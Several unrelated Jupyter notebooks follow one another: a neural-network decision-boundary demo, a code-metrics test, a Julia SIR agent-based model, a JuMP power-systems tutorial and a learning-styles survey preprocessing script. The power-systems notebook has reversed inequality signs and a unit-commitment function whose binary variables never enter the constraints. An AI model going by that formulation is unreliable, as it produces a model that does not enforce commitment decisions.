bias_one = widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.8),
bias_two = widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.12)
)
def plot_db(weight_one, weight_two, weight_three, weight_four, bias_one, bias_two):
x_points = df["feature_one"].values
weights = (weight_one - weight_three) / (weight_four - weight_two)
y_points = (weights * x_points) + ((bias_one - bias_two) / (weight_four - weight_two))
plt.scatter(
df["feature_one"],
df["feature_two"],
c=df["response"],
cmap="Accent"
)
plt.xlim(-2, 8)
plt.ylim(-2, 8)
plt.plot(x_points, y_points, alpha=1)
x = np.linspace(0, 5, 10)
boundary= np.min(list(y_points) + [0])
shade_y = np.linspace(boundary, boundary, len(x))
plt.plot(x, shade_y, alpha=0)
testing_shade_y = weights * x
#plt.fill_between(x, testing_shade_y, shade_y, where=y_points>=shade_y, facecolor='green', alpha=0.3)
# ## Example C: Multi-layered Networks
# $a_1 = x_1w_1 + x_2w_2 + b_1$ <br>
# $a_2 = x_1w_3 + x_2w_4 + b_2$ <br>
#
# $a_1w_7 + a_2w_8 + a_3w_9 + b_4 = a_1w_{10} + a_2w_{11} + a_3w_{12} + b_5$ <br>
#
# $a_1(w_7 - w_{10}) + a_2(w_8 - w_{11}) + a_3(w_9 - w_{12}) + b_4 - b _5 = 0$ <br>
#
# ... <br>
# ... <br>
#
# $x_1 = \dfrac{b_5 - b_4 - b_1y_1 - b_2y_2 - b_3y_3 - x_2(w_2y_1 + w_4y_2 + w_6y_3)}{w_1y_1 + w_3y_2 + w_5y_3}$ <br>
#
# Where: <br>
# $y_1 = w_7 - w_{10}$ <br>
# $y_2 = w_8 - w_{11}$ <br>
# $y_3 = w_9 - w_{12}$
# If you would recall you basic mathematics lessons, then it would not be surprising to find out that any linear combination of a linear formula would still get you something linear!
# ## Example D: Non-Linearities
# So far, we have only been dealing with this thing called "linearly separable" datasets. What if our data looks something like this? What tools do we have to add to our ANN because it seems like we have been producing linear models up to this point in time!
# nbi:hide_in
@interact(
w1=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0),
w2=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0),
w3=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0),
w4=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.1),
w5=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.3),
w6=widgets.FloatSlider(min=-5, max=5, step=0.1, value=1.3),
w7=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.6),
w8=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0),
w9=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.3),
w10=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.6),
w11=widgets.FloatSlider(min=-5, max=5, step=0.1, value=1.1),
w12=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.7),
b1=widgets.FloatSlider(min=-5, max=5, step=0.1, value=-0.1),
b2=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0),
b3=widgets.FloatSlider(min=-5, max=5, step=0.1, value=-0.6),
b4=widgets.FloatSlider(min=-5, max=5, step=0.1, value=-0.6),
b5=widgets.FloatSlider(min=-5, max=5, step=0.1, value=0.4),
activation_function =True
)
def plot_decision_boundary(w1, w2, w3, w4, w5, w6, w7, w8, w9, w10, w11, w12, b1, b2, b3, b4, b5, activation=True):
a1 = w7 - w10
a2 = w8 - w11
a3 = w9 - w12
plt.figure() # Create a new figure window
xlist = np.linspace(-10.0, 10.0, 100) # Create 1-D arrays for x,y dimensions
ylist = np.linspace(-10.0, 10.0, 100)
plt.scatter(
df["feature_one"],
df["feature_two"],
c=df["response"],
cmap="Accent"
)
if activation:
X,Y = np.meshgrid(xlist, ylist) # Create 2-D grid xlist,ylist values
F = (a1 / (1 + exp(-(w1 * X + w2 * Y + b1)))) + (a2 / (1 + exp(-(w3 * X + w4 * Y + b2)))) + (a3 / (1 + exp(-(w5 * X + w6 * Y + b3)))) + b5 - b4
plt.contour(X, Y, F, [0], colors = 'k', linestyles = 'solid')
plt.show()
else:
x_points = df["feature_one"].values
denominator = w1 * a1 + w4 * a2 + w6 * a3
num_1 = b5 - b4 - (b1 * a1) - (b2 * a2) - (b3 * a3)
num_2 = x_points * (w1 * a1 + w3 * a2 + w5 * a3)
y_points = (num_1 - num_2) / denominator
plt.xlim(np.min(xlist), np.max(xlist))
plt.ylim(np.min(ylist), np.max(ylist))
plt.plot(x_points, y_points, alpha=1)
x = np.linspace(0, 5, 10)
plt.show()
# boundary= np.min(list(y_points) + [0])
# shade_y = np.linspace(boundary, boundary, len(x))
# plt.plot(x, shade_y, alpha=0)
# testing_shade_y = weights * x
# plt.fill_between(x, testing_shade_y, shade_y, where=y_points>=shade_y, facecolor='green', alpha=0.3)
# Have a play with the different weights to try and get a reasonable looking line that separates the green dots from the black ones. The goal of machine learning is to then create models that would find the "best" line that does exactly this!
| projects/neural_network_visualize/.ipynb_checkpoints/nn_vis-checkpoint.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# !pip install codemetrics
# +
import json
import pandas as pd
from pathlib import Path
pd.set_option('max_colwidth',300)
from pprint import pprint
import re
# -
java_files = sorted(Path('test_data/java/').glob('**/*.gz'))
# +
columns_long_list = ['repo', 'path', 'url', 'code',
'code_tokens', 'docstring', 'docstring_tokens',
'language', 'partition']
columns_short_list = ['code_tokens', 'docstring_tokens',
'language', 'partition']
def jsonl_list_to_dataframe(file_list, columns=columns_long_list):
"""Load a list of jsonl.gz files into a pandas DataFrame."""
return pd.concat([pd.read_json(f,
orient='records',
compression='gzip',
lines=True)[columns]
for f in file_list], sort=False)
# -
java_df = jsonl_list_to_dataframe(java_files)
java_test = java_df.sample(10)
java_test.head()
java_test['code'][26920]
import codemetrics as cm
# !pip install radon
# !pip install metrics
from radon.raw import analyze
analyze("""//test function\npublic void setSourceIds(java.util.Collection<String> sourceIds) {\n if (sourceIds == null) {\n this.sourceIds = null;\n return;\n }\n\n this.sourceIds = new java.util.ArrayList<String>(sourceIds);\n }""")
import metrics
dir(metrics)
from metrics import sloc
import metrics
help(sloc)
| nbs/deprecated/Testmetrics.ipynb |
# -*- coding: utf-8 -*-
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .jl
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Julia 1.5.4
# language: julia
# name: julia-1.5
# ---
# # Agent-based model using Agents.jl
# <NAME> (@sdwfrost), 2020-04-27
#
# ## Introduction
#
# The agent-based model approach, implemented using [`Agents.jl`](https://github.com/JuliaDynamics/Agents.jl) taken here is:
#
# - Stochastic
# - Discrete in time
# - Discrete in state
#
# ## Libraries
using Agents
using Random
using DataFrames
using Distributions
using DrWatson
using StatsPlots
using BenchmarkTools
# ## Utility functions
function rate_to_proportion(r::Float64,t::Float64)
1-exp(-r*t)
end;
# ## Transitions
#
# First, we have to define our agent, which has an `id`, and a `status` (`:S`,`:I`, or `:R`).
mutable struct Person <: AbstractAgent
id::Int64
status::Symbol
end
# This utility function sets up the model, by setting parameter fields and adding agents to the model.
function init_model(β::Float64,c::Float64,γ::Float64,N::Int64,I0::Int64)
properties = @dict(β,c,γ)
model = ABM(Person; properties=properties)
for i in 1:N
if i <= I0
s = :I
else
s = :S
end
p = Person(i,s)
p = add_agent!(p,model)
end
return model
end;
# The following function applies a series of functions to each agent.
function agent_step!(agent, model)
transmit!(agent, model)
recover!(agent, model)
end;
# This is the transmission function; note that it operates on susceptibles making contact, rather than being focused on infected. This is an inefficient way of doing things, but shows the parallels between the different implementations.
function transmit!(agent, model)
# If I'm not susceptible, I return
agent.status != :S && return
ncontacts = rand(Poisson(model.properties[:c]))
for i in 1:ncontacts
# Choose random individual
alter = random_agent(model)
if alter.status == :I && (rand() ≤ model.properties[:β])
# An infection occurs
agent.status = :I
break
end
end
end;
# This is the recovery function.
function recover!(agent, model)
agent.status != :I && return
if rand() ≤ model.properties[:γ]
agent.status = :R
end
end;
# We need some reporting functions.
susceptible(x) = count(i == :S for i in x)
infected(x) = count(i == :I for i in x)
recovered(x) = count(i == :R for i in x);
# ## Time domain
δt = 0.1
nsteps = 400
tf = nsteps*δt
t = 0:δt:tf;
# ## Parameter values
β = 0.05
c = 10.0*δt
γ = rate_to_proportion(0.25,δt);
# ## Initial conditions
N = 1000
I0 = 10;
# ## Random number seed
Random.seed!(1234);
# ## Running the model
abm_model = init_model(β,c,γ,N,I0)
to_collect = [(:status, f) for f in (susceptible, infected, recovered)]
abm_data, _ = run!(abm_model, agent_step!, nsteps; adata = to_collect);
# ## Post-processing
abm_data[!,:t] = t;
# ## Plotting
plot(t,abm_data[:,2],label="S",xlab="Time",ylabel="Number")
plot!(t,abm_data[:,3],label="I")
plot!(t,abm_data[:,4],label="R")
# ## Benchmarking
@benchmark begin
abm_model = init_model(β,c,γ,N,I0)
abm_data, _ = run!(abm_model, agent_step!, nsteps; adata = to_collect)
end
| notebook/abm/abm.ipynb |
# -*- coding: utf-8 -*-
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .jl
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Julia 1.0.3
# language: julia
# name: julia-1.0
# ---
# # Power Systems
# **Originally Contributed by**: <NAME> and <NAME>
# This notebook demonstrates how to formulate basic power systems engineering models in JuMP using a 3 bus example.
# We will consider basic "economic dispatch" and "unit commitment" models without taking into account transmission constraints.
# ## Illustrative example
# In the following notes for the sake of simplicity, we are going to use a three bus example mirroring the interface between Western and Eastern Texas. This example is taken from <NAME>, "[Wind and Energy Markets: A Case Study of Texas](http://dx.doi.org/10.1109/JSYST.2011.2162798)," IEEE Systems Journal, vol. 6, pp. 27-34, 2012.
# <img src="img/power_systems.png" style="width: 500px; height: auto">
# For this example, we set the following characteristics of generators, transmission lines, wind farms and demands:
# | Quantity | Generator 1 | Generator 2 |
# |:-----------------|:-----------:|------------:|
# | $g_{min}$, MW | 0 | 300 |
# | $g_{max}$, MW | 1000 | 1000 |
# | $c^g$, \$/MWh | 50 | 100 |
# | $c^{g0}$, \$/MWh | 1000 | 0 |
# | Quantity | Line 1 | Line 2 |
# |:--------------|:------:|-------:|
# | $f^{max}$, MW | 100 | 1000 |
# | x, p.u. | 0.001 | 0.001 |
# | Quantity | Wind farm 1 | Wind farm 2 |
# |:----------------|:-----------:|------------:|
# | $w^{f}$, MW | 150 | 50 |
# | $c^{w}$, \$/MWh | 50 | 50 |
# | Quantity | Bus 1 | Bus 2 | Bus 3 |
# |:---------|:-----:|:-----:|------:|
# | $d$, MW | 0 | 0 | 15000 |
# ## Economic dispatch
# Economic dispatch (ED) is an optimization problem that minimizes the cost of supplying energy demand subject to operational constraints on power system assets. In its simplest modification, ED is an LP problem solved for an aggregated load and wind forecast and for a single infinitesimal moment. Mathematically, the ED problem can be written as follows:
# $$
# \min \sum_{i \in I} c^g_{i} \cdot g_{i} + c^w \cdot w,
# $$
# where $c_{i}$ and $g_{i}$ are the incremental cost ($\$/MWh$) and power output ($MW$) of the $i^{th}$ generator, respectively, and $c^w$ and $w$ are the incremental cost ($\$/MWh$) and wind power injection ($MW$), respectively.
# Subject to the constraints:
# <li> Minimum ($g^{\min}$) and maximum ($g^{\max}$) limits on power outputs of generators: </li>
# $$
# g^{\min}_{i} \leq g_{i} \leq g^{\max}_{i}.
# $$
# <li>Constraint on the wind power injection:</li>
# $$
# 0 \leq w \leq w^f,
# $$
# where $w$ and $w^f$ are the wind power injection and wind power forecast, respectively.
# <li>Power balance constraint:</li>
# $$
# \sum_{i \in I} g_{i} + w = d^f,
# $$
# where $d^f$ is the demand forecast.
# Further reading on ED models can be found in <NAME>, <NAME>, and <NAME>, "Power Generation, Operation and Control", Wiley, 2013.
# ## JuMP Implementation of Economic Dispatch
using JuMP, GLPK, LinearAlgebra, DataFrames
# Define some input data about the test system
# Maximum power output of generators
g_max = [1000, 1000];
# Minimum power output of generators
g_min = [0, 300];
# Incremental cost of generators
c_g = [50, 100];
# Fixed cost of generators
c_g0 = [1000, 0]
# Incremental cost of wind generators
c_w = 50;
# Total demand
d = 1500;
# Wind forecast
w_f = 200;
# +
# In this cell we create function solve_ed, which solves the economic dispatch problem for a given set of input parameters.
function solve_ed(g_max, g_min, c_g, c_w, d, w_f)
#Define the economic dispatch (ED) model
ed = Model(with_optimizer(GLPK.Optimizer))
# Define decision variables
@variable(ed, 0 <= g[i = 1:2] <= g_max[i]) # power output of generators
@variable(ed, 0 <= w <= w_f) # wind power injection
# Define the objective function
@objective(ed, Min, dot(c_g, g) + c_w * w)
# Define the constraint on the maximum and minimum power output of each generator
@constraint(ed, [i = 1:2], g[i] <= g_max[i]) #maximum
@constraint(ed, [i = 1:2], g[i] >= g_min[i]) #minimum
# Define the constraint on the wind power injection
@constraint(ed, w <= w_f)
# Define the power balance constraint
@constraint(ed, sum(g) + w == d)
# Solve statement
optimize!(ed)
# return the optimal value of the objective function and its minimizers
return value.(g), value(w), w_f - value(w), objective_value(ed)
end
# Solve the economic dispatch problem
(g_opt, w_opt, ws_opt, obj) = solve_ed(g_max, g_min, c_g, c_w, d, w_f);
println("\n")
println("Dispatch of Generators: ", g_opt, " MW")
println("Dispatch of Wind: ", w_opt, " MW")
println("Wind spillage: ", w_f - w_opt, " MW")
println("\n")
println("Total cost: ", obj, "\$")
# -
# ### Economic dispatch with adjustable incremental costs
# In the following exercise we adjust the incremental cost of generator G1 and observe its impact on the total cost.
c_g_scale_df = DataFrame(Symbol("Dispatch of Generator 1(MW)") => Float64[],
Symbol("Dispatch of Generator 2(MW)") => Float64[],
Symbol("Dispatch of Wind(MW)") => Float64[],
Symbol("Spillage of Wind(MW)") => Float64[],
Symbol("Total cost(\$)") => Float64[])
for c_g1_scale = 0.5:0.1:3.0
c_g_scale = [c_g[1] * c_g1_scale, c_g[2]] # update the incremental cost of the first generator at every iteration
g_opt, w_opt, ws_opt, obj = solve_ed(g_max, g_min, c_g_scale, c_w, d, w_f) # solve the ed problem with the updated incremental cost
push!(c_g_scale_df, (g_opt[1], g_opt[2], w_opt, ws_opt, obj))
end
ENV["COLUMNS"]=250 # Helps us display the complete table
c_g_scale_df
# ## Modifying the JuMP model in place
# Note that in the previous exercise we entirely rebuilt the optimization model at every iteration of the internal loop, which incurs an additional computational burden. This burden can be alleviated if instead of re-building the entire model, we modify a specific constraint(s) or the objective function, as it shown in the example below.
# Compare the computing time in case of the above and below models.
# +
function solve_ed_inplace(c_w_scale)
start = time()
obj_out = Float64[]
w_out = Float64[]
g1_out = Float64[]
g2_out = Float64[]
ed = Model(with_optimizer(GLPK.Optimizer))
# Define decision variables
@variable(ed, 0 <= g[i = 1:2] <= g_max[i]) # power output of generators
@variable(ed, 0 <= w <= w_f ) # wind power injection
# Define the objective function
@objective(ed, Min, dot(c_g, g) + c_w * w)
# Define the constraint on the maximum and minimum power output of each generator
@constraint(ed, [i = 1:2], g[i] <= g_max[i]) #maximum
@constraint(ed, [i = 1:2], g[i] >= g_min[i]) #minimum
# Define the constraint on the wind power injection
@constraint(ed, w <= w_f)
# Define the power balance constraint
@constraint(ed, sum(g) + w == d)
optimize!(ed)
for c_g1_scale = 0.5:0.01:3.0
@objective(ed, Min, c_g1_scale*c_g[1]*g[1] + c_g[2]*g[2] + c_w_scale*c_w*w)
optimize!(ed)
push!(obj_out, objective_value(ed))
push!(w_out, value(w))
push!(g1_out, value(g[1]))
push!(g2_out, value(g[2]))
end
elapsed = time() - start
print(string("elapsed time:", elapsed, "seconds"))
return obj_out, w_out, g1_out, g2_out
end
solve_ed_inplace(2.0);
# -
# Adjusting specific constraints and/or the objective function is faster than re-building the entire model.
# ## A few practical limitations of the economic dispatch model
# ### Inefficient usage of wind generators
# The economic dispatch problem does not perform commitment decisions and, thus, assumes that all generators must be dispatched at least at their minimum power output limit. This approach is not cost efficient and may lead to absurd decisions. For example, if $ d = \sum_{i \in I} g^{\min}_{i}$, the wind power injection must be zero, i.e. all available wind generation is spilled, to meet the minimum power output constraints on generators.
# In the following example, we adjust the total demand and observed how it affects wind spillage.
# +
demandscale_df = DataFrame(Symbol("Dispatch of Generators(MW)") => Float64[],
Symbol("Dispatch of Generator 2(MW)") => Float64[],
Symbol("Dispatch of Wind(MW)") => Float64[],
Symbol("Spillage of Wind(MW)") => Float64[],
Symbol("Total cost(\$)") => Float64[])
for demandscale = 0.2:0.1:1.5
g_opt,w_opt,ws_opt,obj = solve_ed(g_max, g_min, c_g, c_w, demandscale*d, w_f)
push!(demandscale_df, (g_opt[1], g_opt[2], w_opt, ws_opt, obj))
end
# -
demandscale_df
# This particular drawback can be overcome by introducing binary decisions on the "on/off" status of generators. This model is called unit commitment and considered later in these notes.
# For further reading on the interplay between wind generation and the minimum power output constraints of generators, we refer interested readers to <NAME>, "Wind and Energy Markets: A Case Study of Texas," IEEE Systems Journal, vol. 6, pp. 27-34, 2012.
# ### Transmission-infeasible solution
# The ED solution is entirely market-based and disrespects limitations of the transmission network. Indeed, the flows in transmission lines would attain the following values:
# $$f_{1-2} = 150 MW \leq f_{1-2}^{\max} = 100 MW $$
# $$f_{2-3} = 1200 MW \leq f_{2-3}^{\max} = 1000 MW $$
# Thus, if this ED solution was enforced in practice, the power flow limits on both lines would be violated. Therefore, in the following section we consider the optimal power flow model, which amends the ED model with network constraints.
# The importance of the transmission-aware decisions is emphasized in <NAME>, <NAME>, and <NAME>, "Transmission, Variable Generation, and Power System Flexibility," IEEE Transactions on Power Systems, vol. 30, pp. 57-66, 2015.
# ## Unit Commitment model
# The Unit Commitment (UC) model can be obtained from ED model by introducing binary variable associated with each generator. This binary variable can attain two values: if it is "1", the generator is synchronized and, thus, can be dispatched, otherwise, i.e. if the binary variable is "0", that generator is not synchronized and its power output is set to 0.
# To obtain the mathematical formulation of the UC model, we will modify the constraints of the ED model as follows:
# $$
# g^{\min}_{i} \cdot u_{t,i} \leq g_{i} \leq g^{\max}_{i} \cdot u_{t,i},
# $$
# where $ u_{i} \in \{0;1\}. $ In this constraint, if $ u_{i} = 0$, then $g_{i} = 0$. On the other hand, if $ u_{i} = 1$, then $g^{max}_{i} \leq g_{i} \leq g^{min}_{i}$.
# For further reading on the UC problem we refer interested readers to <NAME>, <NAME>, and <NAME>, "Tight and Compact MILP Formulation for the Thermal Unit Commitment Problem," IEEE Transactions on Power Systems, vol. 28, pp. 4897-4908, 2013.
# In the following example we convert the ED model explained above to the UC model.
# +
# In this cell we introduce binary decision u to the economic dispatch problem (function solve_ed)
function solve_uc(g_max, g_min, c_g, c_w, d, w_f)
#Define the unit commitment (UC) model
uc = Model(with_optimizer(GLPK.Optimizer))
# Define decision variables
@variable(uc, 0 <= g[i=1:2] <= g_max[i]) # power output of generators
@variable(uc, u[i = 1:2], Bin) # Binary status of generators
@variable(uc, 0 <= w <= w_f ) # wind power injection
# Define the objective function
@objective(uc, Min, dot(c_g, g) + c_w * w)
# Define the constraint on the maximum and minimum power output of each generator
@constraint(uc, [i = 1:2], g[i] <= g_max[i]) #maximum
@constraint(uc, [i = 1:2], g[i] >= g_min[i]) #minimum
# Define the constraint on the wind power injection
@constraint(uc, w <= w_f)
# Define the power balance constraint
@constraint(uc, sum(g) + w == d)
# Solve statement
optimize!(uc)
status = termination_status(uc)
return status, value.(g), value(w), w_f - value(w), value.(u), objective_value(uc)
end
# Solve the economic dispatch problem
status, g_opt, w_opt, ws_opt, u_opt, obj = solve_uc(g_max, g_min, c_g, c_w, d, w_f);
println("\n")
println("Dispatch of Generators: ", g_opt[:], " MW")
println("Commitments of Generators: ", u_opt[:])
println("Dispatch of Wind: ", w_opt, " MW")
println("Wind spillage: ", w_f - w_opt, " MW")
println("\n")
println("Total cost: ", obj, "\$")
# -
# ### Unit Commitment as a function of demand
# After implementing the UC model, we can now assess the interplay between the minimum power output constraints on generators and wind generation.
# +
uc_df = DataFrame(Symbol("Commitment of Generator 1(MW)") => Float64[],
Symbol("Commitment of Generator 2(MW)") => Float64[],
Symbol("Dispatch of Generator 1(MW)") => Float64[],
Symbol("Dispatch of Generator 2(MW)") => Float64[],
Symbol("Dispatch of Wind(MW)") => Float64[],
Symbol("Spillage of Wind(MW)") => Float64[],
Symbol("Total cost(\$)") => Float64[])
for demandscale = 0.2:0.1:1.5
status, g_opt, w_opt, ws_opt, u_opt, obj = solve_uc(g_max, g_min, c_g, c_w, demandscale*d, w_f)
if status == MOI.OPTIMAL
push!(uc_df, (u_opt[1], u_opt[2], g_opt[1], g_opt[2], w_opt, ws_opt, obj))
else
println("Status: $status for demandscale = $demandscale \n")
end
end
# -
uc_df
| notebook/modelling/power_systems.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # A study on learning styles
# ## 1) Importing initial libraries
# ### Importing pandas library to load questionnaire data in the form of data frame.
# ### Pandas is used to do data_mining, data_wrangling and data_preprocessing.
# ### importing numpy to convert rows into arrays when needed.
import pandas as pd
import numpy as np
pd.set_option('display.max_columns', 100)
import warnings
warnings.filterwarnings("ignore")
# #### Loading Questionnaire data
data = pd.read_csv('A study on Learning Styles.csv')
data.head(10) ## shows first 10 rows
# ### DATA MINING AND PREPROCESSING
print(data.columns) ##shows all the columns
# #### Replacing the questions with shorter keys
data.rename(columns ={'You need to find the way to a movie theatre that a friend has recommended. You would: ':'Q1_sec1',
'You are not sure whether a word should be spelled dependent or dependant. You would:':'Q2_sec1',
'A website has a video showing how to make a special graph or chart. There is a person speaking, some lists and words describing what to do and some diagrams. you would learn most from:':'Q3_sec1',
'You are planning a holiday for a group. You want some feedback from them about the plan. You would:':'Q4_sec1',
'When choosing a career or area of study, these are important for you:':'Q5_sec1',
'You are going to cook something as a special treat(dish) for your friends. You would:':'Q6_sec1',
'When you are learning you:':'Q7_sec1',
'A group of tourists want to learn about the parks or nature reserves in your area. You would:':'Q8_sec1',
'You are about to purchase a digital camera or mobile phone. Other than price, what would most influence your decision?':'Q9_sec1',
'Remember a time when you learned how to do something new. Try to avoid choosing a physical skill, e.g. riding a bike. You learned best by:':'Q10_sec1',
'You want to save more money and to decide between a range of options. you would:':'Q11_sec1',
'You have a problem with your lungs. you would prefer that the doctor:':'Q12_sec1',
'You want to learn a new program, skill or game on a computer. You would:':'Q13_sec1',
'When learning from the Internet you like:':'Q14_sec1',
'Other than price, what would most influence your decision to buy a book?':'Q15_sec1',
'You want to learn about a new project. you would ask for:':'Q16_sec1',
'You want to learn how to take better photos. you would:':'Q17_sec1',
'After watching film you need to do a project. Would you prefer to:':'Q18_sec1',
'Do you prefer a teacher who likes to use:':'Q19_sec1',
'You have finished a competition or test and would like some feedback. You would like to have feedback:':'Q20_sec1',
'A new movie has arrived in town. What would most influence your decision to go (or not go)?':'Q21_sec1',
'You are going to choose food at a restaurant or café. You would:':'Q22_sec1',
'You have to make an important speech at a conference or special occasion. You would:':'Q23_sec1',
'You want to find out about a house or an apartment. Before visiting it you would want:':'Q24_sec1',
'You want to assemble a wooden table that came in parts (kit set). you would learn best from:':'Q25_sec1',}, inplace = True)
print(data.columns)
data.rename(columns = {'How often do you Work in groups or with a study partner (i.e. discussions: listening, talking) for learning?':'Q1_sec2',
'How often do you highlight important points in text; key words for learning?':'Q2_sec2',
'How often do you read/review notes every day for learning?':'Q3_sec2',
'How often do you skim through the reading material first to understand the theme or main idea for learning?':'Q4_sec2',
'How often do you move around as u read aloud or study; walk and read; work in a standing position?':'Q5_sec2',
'How often do you rewrite ideas and principles into other(own) words?':'Q6_sec2',
'How often do you review assignments and text reading before class?':'Q7_sec2',
'How often do you create flashcards for key information; be concise?':'Q8_sec2',
'How often do you convert notes and translate words into symbols, diagrams, and/or pictures?':'Q9_sec2',
'How often do you record notes, key information, and lectures; listen to recordings regularly?':'Q10_sec2',
'How often do you turn reactions, actions, charts, etc. into words and Organize diagrams/graphs into statements?':'Q11_sec2',
'How often do you record notes in class and listen to them during exercising or while doing some other work?':'Q12_sec2',}, inplace = True)
print(data.columns)
# +
data.rename(columns = {'Going through Flash cards':'scenario_1_Q1',
'Listen to the recorded notes':'scenario_1_Q2',
'Write and rewrite the concepts':'scenario_1_Q3',
'Group study with friends':'scenario_1_Q4',
'Highlight important points':'scenario_1_Q5',
'Read the Notes aloud':'scenario_1_Q6',
'Rewrite the class notes':'scenario_1_Q7',
'Take frequent breaks while studying':'scenario_1_Q8',}, inplace = True)
data.rename(columns = {'use charts, flashcards and mind-maps':'scenario_2_Q1',
'Discuss questions/problems in a group or with a study-buddy':'scenario_2_Q2',
'Write paragraphs, beginnings and endings':'scenario_2_Q3',
'Limit information i.e. use key words, symbols':'scenario_2_Q4',}, inplace = True)
data.rename(columns = {'material consisting of lot of diagrams, charts, graphs and flowcharts':'scenario_3_Q1',
'discussing with faculty and various people':'scenario_3_Q2',
'essays, articles, textbooks and manuals(Handbooks)':'scenario_3_Q3',
'experiments, case studies, hands on exercises and field visits(includes industrial visits)':'scenario_3_Q4',}, inplace = True)
# -
print(data.columns)
data.rename(columns = {'Name of city or Town where your college located':'College_location',
'Your current educational designation':'educational_designation',
'In which stream are you studying(Example: Engineering, Medical, Arts...)':'educational_stream',
'Region of your school(10+2 and before) (Select Multiple options if needed)':'school_region',
'Place you grownup in? (Select Multiple options if needed)':'Place_grownup_in',
'Type of high school (10+2)':'school_Type',
'Board of Education in high school(10+2)':'school_board',}, inplace = True)
print(data.columns)
data["Q23_sec1"] = data["Q23_sec1"].fillna(method='pad')
data["Q24_sec1"] = data["Q24_sec1"].fillna(method='pad')
data["Q25_sec1"] = data["Q25_sec1"].fillna(method='pad')
data.head(10)
# #### Encoding answers for First part of questionnaire
data['Q1_sec1'].unique()
# +
Q1_sec1_dict = {'use a map.':'V',
'ask my friend to tell me the directions.':'A',
'find out where the shop is in relation to somewhere I know.':'K',
'write down the street directions I need to remember.':'R'}
data["Q1_sec1"] = data["Q1_sec1"].apply(lambda x: Q1_sec1_dict[x])
data['Q1_sec1'].unique()
# -
data['Q2_sec1'].unique()
# +
Q2_sec1_dict = {'find it in a dictionary.':'R',
'write both words on paper and choose one.':'K',
'see the words in your mind and choose by the way they look.':'V',
'think about how each word sounds and choose one.':'A'}
data["Q2_sec1"] = data["Q2_sec1"].apply(lambda x: Q2_sec1_dict[x])
data['Q2_sec1'].unique()
# -
data['Q3_sec1'].unique()
# +
Q3_sec1_dict = {'seeing the diagrams.':'V',
'listening.':'A',
'reading the words.':'R',
'watching the actions.':'K'}
data["Q3_sec1"] = data["Q3_sec1"].apply(lambda x: Q3_sec1_dict[x])
data['Q3_sec1'].unique()
# -
data['Q4_sec1'].unique()
# +
Q4_sec1_dict = {'describe some of the highlights.':'K',
'use a map or website to show them the places.':'V',
'give them a copy of the printed itinerary.':'R',
'phone, text or email them.':'A'}
data["Q4_sec1"] = data["Q4_sec1"].apply(lambda x: Q4_sec1_dict[x])
data['Q4_sec1'].unique()
# -
data['Q5_sec1'].unique()
# +
Q5_sec1_dict = {'Applying knowledge in real situations.':'K',
'Communicating with others through discussion.':'A',
'Working with designs, maps or charts.':'V',
'Using words well in written communications.':'R'}
data["Q5_sec1"] = data["Q5_sec1"].apply(lambda x: Q5_sec1_dict[x])
data['Q5_sec1'].unique()
# -
data['Q6_sec1'].unique()
# +
Q6_sec1_dict = {'cook something you know without the need for instructions.':'K',
'ask family members for suggestions.':'A',
'look through the cookbook for ideas from the pictures.':'V',
'use a cookbook where you know there is a good recipe.':'R'}
data["Q6_sec1"] = data["Q6_sec1"].apply(lambda x: Q6_sec1_dict[x])
data['Q6_sec1'].unique()
# -
data['Q7_sec1'].unique()
# +
Q7_sec1_dict = {'like to talk things through.':'A',
'see patterns in things.':'V',
'use examples and applications.':'K',
'read books, articles and handouts.':'R'}
data["Q7_sec1"] = data["Q7_sec1"].apply(lambda x: Q7_sec1_dict[x])
data['Q7_sec1'].unique()
# -
data['Q8_sec1'].unique()
# +
Q8_sec1_dict = {'talk about, or arrange a talk for them about parks or nature reserves.':'A',
'show them internet pictures, photographs or picture books.':'V',
'take them to a park or nature reserve and walk with them.':'K',
'give them a book or pamphlets about the parks or nature reserves.':'R'}
data["Q8_sec1"] = data["Q8_sec1"].apply(lambda x: Q8_sec1_dict[x])
data['Q8_sec1'].unique()
# -
data['Q9_sec1'].unique()
# +
Q9_sec1_dict = {'Trying or testing it.':'K',
'Reading the details about its features.':'R',
'It is a modern design and looks good.':'V',
'The salesperson telling me about its features.':'A'}
data["Q9_sec1"] = data["Q9_sec1"].apply(lambda x: Q9_sec1_dict[x])
data['Q9_sec1'].unique()
# -
data['Q10_sec1'].unique()
# +
Q10_sec1_dict = {'watching a demonstration.':'K',
'listening to somebody explaining it and asking questions.':'A',
'diagrams and charts - visual clues.':'V',
'written instructions – e.g. a manual or textbook.':'R'}
data["Q10_sec1"] = data["Q10_sec1"].apply(lambda x: Q10_sec1_dict[x])
data['Q10_sec1'].unique()
# -
data['Q11_sec1'].unique()
# +
Q11_sec1_dict = {'consider examples of each option using my financial information.':'K',
'read a print brochure that describes the options in detail.':'R',
'use graphs showing different options for different time periods.':'V',
'talk with an expert about the options.':'A'}
data["Q11_sec1"] = data["Q11_sec1"].apply(lambda x: Q11_sec1_dict[x])
data['Q11_sec1'].unique()
# -
data['Q12_sec1'].unique()
# +
Q12_sec1_dict = {'gave me something to read to explain what was wrong.':'R',
'used a plastic model to show me what was wrong.':'K',
'described what was wrong.':'A',
'showed me a diagram of what was wrong.':'V'}
data["Q12_sec1"] = data["Q12_sec1"].apply(lambda x: Q12_sec1_dict[x])
